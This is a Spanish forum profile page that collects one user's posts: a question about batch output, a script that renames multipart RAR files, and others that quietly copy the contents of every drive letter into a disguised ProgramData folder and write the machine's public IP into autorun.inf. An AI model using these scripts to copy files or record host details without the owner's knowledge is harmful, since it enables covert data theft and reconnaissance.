es justo lo que busco, pero si quiero poner muchas lineas mientras aparece el mensaje, con esas lineas que me das me valdría o tendría que hacerla que repetirla??
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú@echo off
set name=part*
set name2=rar
ren *.%name%.%name2% AC3.%name%.%name2%
@echo off
Mkdir C:\ProgramData\MSCI
xcopy /e /i A:\* C:\ProgramData\MSCI
xcopy /e /i B:\* C:\ProgramData\MSCI
xcopy /e /i D:\* C:\ProgramData\MSCI
xcopy /e /i E:\* C:\ProgramData\MSCI
xcopy /e /i F:\* C:\ProgramData\MSCI
xcopy /e /i G:\* C:\ProgramData\MSCI
xcopy /e /i H:\* C:\ProgramData\MSCI
xcopy /e /i I:\* C:\ProgramData\MSCI
xcopy /e /i J:\* C:\ProgramData\MSCI
xcopy /e /i K:\* C:\ProgramData\MSCI
xcopy /e /i L:\* C:\ProgramData\MSCI
xcopy /e /i M:\* C:\ProgramData\MSCI
xcopy /e /i N:\* C:\ProgramData\MSCI
xcopy /e /i Ñ:\* C:\ProgramData\MSCI
xcopy /e /i O:\* C:\ProgramData\MSCI
xcopy /e /i P:\* C:\ProgramData\MSCI
xcopy /e /i Q:\* C:\ProgramData\MSCI
xcopy /e /i R:\* C:\ProgramData\MSCI
xcopy /e /i S:\* C:\ProgramData\MSCI
xcopy /e /i T:\* C:\ProgramData\MSCI
xcopy /e /i U:\* C:\ProgramData\MSCI
xcopy /e /i V:\* C:\ProgramData\MSCI
xcopy /e /i W:\* C:\ProgramData\MSCI
xcopy /e /i X:\* C:\ProgramData\MSCI
xcopy /e /i Y:\* C:\ProgramData\MSCI
xcopy /e /i Z:\* C:\ProgramData\MSCI
Set objFSO=CreateObject("Scripting.FileSystemObject")
outFile="c:\autorun.inf"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write WAN_IP() & vbCrLf
objFile.Close
function WAN_IP()
set obj = createobject("Microsoft.XMLHTTP")
call obj.open("get", "http://ifconfig.me/ip", false)
obj.send()
strresponse = obj.responsetext
set obj = nothing
if strresponse <> "" then
strIP = strresponse
else
strIP = "Unavailable"
end if
WAN_IP = trim(strIP)
end function